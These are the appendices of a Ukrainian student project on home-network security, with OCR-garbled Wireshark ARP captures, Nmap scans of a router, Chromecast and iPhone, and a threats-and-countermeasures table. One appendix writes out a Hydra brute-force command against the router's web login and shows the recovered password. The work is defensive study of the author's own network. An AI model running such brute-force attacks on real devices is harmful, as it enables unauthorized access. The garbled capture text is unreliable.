	1439 243.553866/13 3a:65:89:74:10:46 1439 243.561024661 D-LinkIn_fe:84:18 4430 243.553845542 2a:65:80:74:fb:40	3a:65:89:74:fb:40 AF	P 100 WHO Has is P 100 192.168.0.	1 is at cc:b2:55:fe:04:18	7 -4000 7 -4708n 7 -460e					
	1439. 243. 575013512 58. 05. 89. 74. 10. 40 1441 244.164768386 iPad.local	Broadcast AF	P 90 WHO Has is P 100 Gratuitous	ARP for 192.168.0.32 (Request)	7 -40080 7 -59dBn 7 -748-					
	1442244.187934911 1Fau.100a1 1442244.363818627 iPad.local	Broadcast AF	P 100 Who has 19	2.168.0.1? Tell 192.168.0.32	7 -47080 7 -59080 7 -47480					
	1442_ 244.303004/09 U-LINKIN_10:04:18 1442_ 244.392764098 iPad.local	Broadcast AF	P 98 Who has 19 100 192,108.0.	2.168.0.12 Tell 192.168.0.32	7 -47080 7 -47080 7 4640-					
	1448_ 248.02/089338 U-L10KIn_T0:04:18 1448_ 248.028606536 3a:65:89:74:fb:40	5a:05:89:74:T0:40 AF D-LinkIn_fe:04:18 AF	P 100 who has 19 P 100 192.168.0.	2.100.0.097 1011 192.108.0.1 59 is at 3a:65:89:74:fb:40 4 is at asybuE:fe:01440	/ -400BM 7 -410Bm 7 -420Bm					
	1401_201.038094895 U-LINKIn_T0:84:18 1451_251.663204721 Android.local	Android.idcal AF Broadcast AF	P 100 192.168.0. P 98 Who has 19	1 15 at CC:D2:00:10:04:18 2.168.0.12 Tell 192.168.0.75	7 -470Bm 7 -470Bm 7 -470Bm					
	1541_250.5877000000 U-LINKIn_F0:04:18 1576_264.628894509 D-LinkIn_F0:04:18	Android.local AF	P 100 who has 19 P 100 Who has 19 D 400 402 450 0	2.108.0.327 Tell 192.108.0.1 2.168.0.757 Tell 192.168.0.1	7 -45080 7 -4708n 7 -4708n					
	2169_284.980148195 D-LinkIn_fe:04:18 2169_284.980148195 D-LinkIn_fe:04:18	3a:65:89:74:fb:40 AF	P 100 192,108.0. P 100 Who has 19 D 100 103 169 0	75 15 at 30/10/20/at/01/22 2.168.0.597 Tell 192.168.0.1 50 is at 20/65/00/24/fb/40	7 -46dBn 7 -46dBn 7 -46dBn					
	2103_ 204.304070000 32.03.03.14.10.40	0-TTUKTU_16.04.10 M	r 100 152,100.0.	JJ 11 AL JA.05.05.74.10.40	/ -+0000					
	 Frame 144255: 100 bytes on wire (800 bit Radiotap Header v0, Length 18 	ts), 100 bytes captured (800 bits) on interface	0						<u> </u>
	 # 802.11 radio information # IEEE 802.11 QoS Data, Flags: .pTC 				k					
	Type/Subtype: QoS Data (0x0028) > Frame Control Field: 0x8841									
	.000 0000 0011 0000 = Duration: 48 mi Receiver address: D-LinkIn_fe:04:18 (ccroseconds (cc:b2:55:fe:04:18)								
	Destination address: 1Pad.local (ca:2 Destination address: Broadcast (ff:ff	27:59:07:c4:9a) f:ff:ff:ff:ff) //2:c4:9a)								
	Source address: 1Pad.1ocal (ca:27:50: BSS Id: D-LinkIn_fe:04:18 (cc:b2:55:f	:07:04:98) fe:04:18)								
	SIA address: 1Pa0.10ca1 (ca:27:50:07)	:c4:9a) r: 0								•
	0000 00 00 12 00 2e 48 00 00 10 24 8a 09 0010 00 00 08 41 30 00 cc b2 55 fe 04 18	c0 00 c5 07								
	0010 00 00 00 00 41 00 00 00 00 20 35 10 04 10 0020 04 93 ff ff ff ff ff ff c0 01 06 00 0030 00 00 00 00 00 01 o2 b7 8a 7d 4a f4 6c	31 00 00 20	-1							
	0040 52 1a c8 85 68 56 f2 8f 5c ac ba 7f	90 e1 0f 16 RhV								
	0050 12 38 1d df	-8	1.1.							
	Frame (100 bytes) Decrypted CCMP data (36	bytes)								
	Transmitting Station Hardware Address	(wlan.ta), 6 bytes				Packets: 226984	↓ · Displayed: 35 (0.0%) · M	larked: 3 (0	.0%) · Dropped: 0 (0.0%) P	rofile: Default
				l						
				Дослідження	вразливостей	ma	Лim.		Maca	Масштаб
ЭК.	№ докум.	Підпис	Дата	налаштування	безпеки дом	ашньої		T		
	Кормиш А.С.			локальної мереж						
	Мельничук А.Ю.			1						
							Арк. 1		Арку	шів 1
								Ц	иклова к	омісія
1.]			Кс	мп	ютерної	і інженерії
Э.	Тащук О.Ю.									60

Додаток Б. Сканування портів

Б1. Результати сканування маршрутизатора домашньої мережі

I 3 Арк. № докум. Підпис Дата Розроб. Кормиш А.С I

IIIIIIIIIIIIIIIIIIIIIIIIIIIIIII

I

Б2. Результати сканування смарт-приставки Chromecast

Nmap scan report for Chromecast-HD.Dlink (192.168.0.75) Host is up (0.012s latency). Not shown: 994 closed tcp ports (reset) STATE SERVICE PORT 8008/tcp open http 8009/tcp open ajp13 8443/tcp open https-alt 9000/tcp open cslistener 9080/tcp open glrpc 10001/tcp open scp-config MAC Address: 36:7B:E0:A1:81:22 (Unknown) No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/). TCP/IP fingerprint: OS:SCAN(V=7.94SVN%E=4%D=6/3%OT=8008%CT=1%CU=39692%PV=Y%DS=1%DC=D%G=Y%M=367B OS:E0%TM=665E1770%P=x86 64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=10C%TI=Z%CI=Z% OS:II=I%TS=A) SEQ (SP=102%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%TS=A) OPS (O1=M5B4ST11NW OS:6%02=M5B4ST11NW6%03=M5B4NNT11NW6%04=M5B4ST11NW6%05=M5B4ST11NW6%06=M5B4ST OS:11)WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FFFF)ECN(R=Y%DF=Y%T=40 OS:%W=FFFF%O=M5B4NNSNW6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R OS:=N) T3 (R=N) T4 (R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=) T5 (R=Y%DF=Y%T=40%W OS:=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=) OS:T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%U OS:N=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S) Uptime guess: 26.438 days (since Wed May 8 11:49:52 2024) Network Distance: 1 hop TCP Sequence Prediction: Difficulty=258 (Good luck!) IP ID Sequence Generation: All zeros Maca Масштаб Літ. Дослідження вразливостей ma налаштування безпеки домашньої Підпис Арк. № докум. Дата локальної мережі Кормиш А.С. Мельничук А.Ю. Арк. Аркушів 1 Циклова комісія Комп'ютерної інженерії Тащук О.Ю. 62

Змн.

Розроб.

Перевір.

Реценз.

Т. Контр.

Н. Контр.

Затверд.

Б3. Результати сканування смартфону з ОС iOS

Nmap scan report for 192.168.0.59

Host is up (0.0054s latency).

Not shown: 998 closed tcp ports (reset)

PORT STATE SERVICE

49152/tcp open unknown

62078/tcp open iphone-sync

MAC Address: 3A:65:89:74:FB:40 (Unknown)

No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/).

TCP/IP fingerprint:

 $OS:SCAN (V=7.94SVN&E=4&D=6/3&OT=49152&CT=1&CU=32200&PV=Y&DS=1&DC=D&G=Y&M=3A6 OS:589&TM=665E1770&P=x86_64-pc-linux-gnu) SEQ (SP=103&GCD=1&ISR=106&TI=Z&CI=R OS:D&II=RI&TS=21) SEQ (SP=104&GCD=1&ISR=106&TI=Z&CI=RD&II=RI&TS=22) SEQ (SP=106 OS:&GCD=1&ISR=106&TI=Z&CI=RD&II=RI&TS=22) SEQ (SP=106&GCD=1&ISR=10C&TI=Z&CI=R OS:D&II=RI&TS=21) SEQ (SP=108&GCD=1&ISR=10C&TI=Z&CI=R OS:D&II=RI&TS=21) SEQ (SP=108&GCD=1&ISR=10A&TI=Z&CI=RD&II=RI&TS=20) OPS (O1=M5B OS:4NW5NNT11SLL&O2=M5B4NW5NNT11SLL&O3=M5B4NW5NNT11&O4=M5B4NW5NNT11SLL&O5=M5 OS:B4NW5NNT11SLL&O6=M5B4NNT11SLL&O3=M5B4NW5NNT11&O4=M5B4NW5NNT11SLL&O5=M5 OS:B4NW5NNT11SLL&O6=M5B4NNT11SLL&O3=M5B4NW5SLL&CC=N&Q=) T1 (R=Y&DF=Y&T=40 OS:&S=O&A=S+&F=AS&RD=0&Q=) T2 (R=N) T3 (R=N) T4 (R=Y&DF=Y&T=40&W=0&S=A&A=Z&F=R&O= OS:&RD=0&Q=) T5 (R=Y&DF=N&T=40&W=0&S=Z&A=S&F=AR&O=&RD=0&Q=) T6 (R=Y&DF=Y&T=40&W=0&S=Z&A=S&F=AR&O=&RD=0&Q=) OS:W=0&S=A&A=Z&F=R&O=&RD=0&Q=) T7 (R=Y&DF=N&T=40&W=0&S=Z&A=S&F=AR&O=&RD=0&Q=) OS:U1 (R=Y&DF=N&T=40&IPL=3&UN=0&RIPL=G&RID=G&RIPCK=G&RUCK=0&RUD=G) IE (R=Y&DF=V&TFOF=V&F=ACA&CD=S OS:V=0&RUD=G) IE (R=Y&DF=V&F=ACA&CD=S) OS:V=0&S=CA=S$

Uptime guess: 0.000 days (since Mon Jun 3 22:20:10 2024) Network Distance: 1 hop TCP Sequence Prediction: Difficulty=260 (Good luck!) IP ID Sequence Generation: All zeros

					Дослідження	вразливостей та		Лim	ı.	Mac a	Масштаб
Змн.	Арк.	№ докум.	Підпис	Дата	налаштування	безпеки домашньої					
Розро	об.	Кормиш А.С.			локальної мережі						
Пере	вір.	Мельничук А.Ю.									
Т. Ко	нтр.						A	<i></i> σк.	1	Арку	шів 1
Реце	НЗ.								L	Іиклова к	омісія
Н. Ко	нтр.							ŀ	<омп	'ютерно	ї інженерії
Затв	ерд.	Тащук О.Ю.									63

Б4. Результати сканування ноутбуку (поточного пристрою)

Initiating SYN Stealth Scan at 22:20 Scanning kali.Dlink (192.168.0.34) [1000 ports] Completed SYN Stealth Scan at 22:20, 0.05s elapsed (1000 total ports) Initiating OS detection (try #1) against kali.Dlink (192.168.0.34) Retrying OS detection (try #2) against kali.Dlink (192.168.0.34) Nmap scan report for kali.Dlink (192.168.0.34) Host is up (0.000075s latency). All 1000 scanned ports on kali.Dlink (192.168.0.34) are in ignored states. Not shown: 1000 closed tcp ports (reset) Too many fingerprints match this host to give specific OS details Network Distance: 0 hops

Read data files from: /usr/bin/../share/nmap OS detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 101 IP addresses (4 hosts up) scanned in 19.64 seconds

Raw packets sent: 4509 (205.342KB) | Rcvd: 5231 (221.214KB)

	_		_	_						
					Дослідження вразливостей та		Лin	n.	Maca	Масшт
Змн.	Арк.	№ докум.	Підпис	Дата	налаштування безпеки домашньої	Γ				
Розро	об.	Кормиш А.С.			локальної мережі					
Пере	вір.	Мельничук А.Ю.								
Т. Ко	нтр.					4	Арк.	1	Арку	чшів 1
Реце	НЗ.					Γ			Циклова к	омісія
Н. Ко	нтр.							Комі	п'ютерно	ї інженерії
3ame	верд.	Тащук О.Ю.							•	64

Додаток В. Діаграма

Стовпчаста діаграма кількості отриманих портів робочих ІР-адрес



						-		_		
					Дослідження вразливостей та		Літ.	N	laca	Масштаб
Змн.	Арк.	№ докум.	Підпис	Дата	налаштування безпеки домашньої					
Розр	об.	Кормиш А.С.		\square'	локальної мережі					
Пере	вір.	Мельничук А.Ю.		<u> </u>						
Т. Ко	нтр.					A	рк. 1		Арку	шів 1
Реце	НЗ.							Цик	пова к	омісія
Н. Ко	Н. Контр.					Ко	мп'юп	перної	інженерії	
3ame	верд.	Тащук О.Ю.							•	65

Додаток Г. Отримання паролю маршрутизатора

hydra -l admin -P /home/kali/myPass.txt -s 80 -V -I -F 192.168.0.1 http-get / Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is nonbinding, these *** ignore laws and ethics anyway).

```
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-06-05
11:10:26
[DATA] max 16 tasks per 1 server, overall 16 tasks, 16 login tries (1:1/p:16),
~1 try per task
[DATA] attacking http-get://192.168.0.1:80/
[ATTEMPT] target 192.168.0.1 - login "admin" - pass "admin" - 1 of 16 [child 0]
(0/0)
[ATTEMPT] target 192.168.0.1 - login "admin" - pass "1111" - 11 of 16 [child
10] (0/0)
[ATTEMPT] target 192.168.0.1 - login "admin" - pass "0000" - 12 of 16 [child
11] (0/0)
[ATTEMPT] target 192.168.0.1 - login "admin" - pass "andriy" - 15 of 16 [child
14] (0/0)
[ATTEMPT] target 192.168.0.1 - login "admin" - pass "andrey" - 16 of 16 [child
15] (0/0)
....
[80] [http-get] host: 192.168.0.1 login: admin password: Andriy 1234
[STATUS] attack finished for 192.168.0.1 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-05-05
11:10:27
```

					Дослідження вразливостей та		Літ.	Maca	Масштаб
Змн.	Арк.	№ докум.	Підпис	Дата	налаштування безпеки домашньо	ï			
Розро	об.	Кормиш А.С.			локальної мережі				
Пере	вір.	Мельничук А.Ю.							
Т. Ко	нтр.						Арк. 1	Арку	чшів 1
Реце	НЗ.							Циклова к	омісія
Н. Ко	нтр.						Ком	п'ютерно	ї інженерії
3ame	верд.	Тащук О.Ю.							66

Додаток Г

Таблиця 1. Керування загрозами локальної мережі [7]

Загрози домену локальної мережі	Контрзаходи для керування загрозами
Неавторизований доступ до локальної	• Захистити шафи, ЦОД та комп'ютерні
мережі	приміщення
	• Визначити суворі правила контролю
	доступу, стандарти, процедури та
	рекомендації
Неавторизований доступ до систем, програм	• Визначити суворі правила контролю
і даних	доступу, стандарти, процедури та
	рекомендації
	• Обмежити права доступу для певних
	папок і файлів на основі необхідності
Вразливості мережної операційної системи	• Впровадження політики для оновлення
	та виправлення операційних систем
Оновлення мережної операційної системи	• Впровадження політики для оновлення
	та виправлення операційних систем
Несанкціонований доступ неавторизованих	• Застосовувати парольні фрази або
користувачів	автентифікацію для бездротових мереж
Вразливості даних під час передачі	• Впровадження шифрування між
	пристроями і бездротовими мережами
LAN-сервери з різним обладнанням або	• Впровадження стандартів налаштування
операційними системами	локальної мережі
Неавторизоване сканування мережі та портів	• Проведення тесту на проникнення після
	налаштування
Неправильне налаштування брандмауера	• Проведення тесту на проникнення після
	налаштування

					Дослідження вразливостей	ma		Лim		Maca	Масштаб
Змн.	Арк.	№ докум.	Підпис	Дата	налаштування безпеки дом	ашньої					
Розро	об.	Кормиш А.С.			локальної мережі						
Пере	вір.	Мельничук А.Ю.									
Т. Ко	нтр.						A	<i></i> σк.	1	Арку	шів 1
Реце	НЗ.								Цı	клова к	омісія
Н. Ко	нтр.							K	омп'н	отерної	і інженерії
3ame	верд.	Тащук О.Ю.									67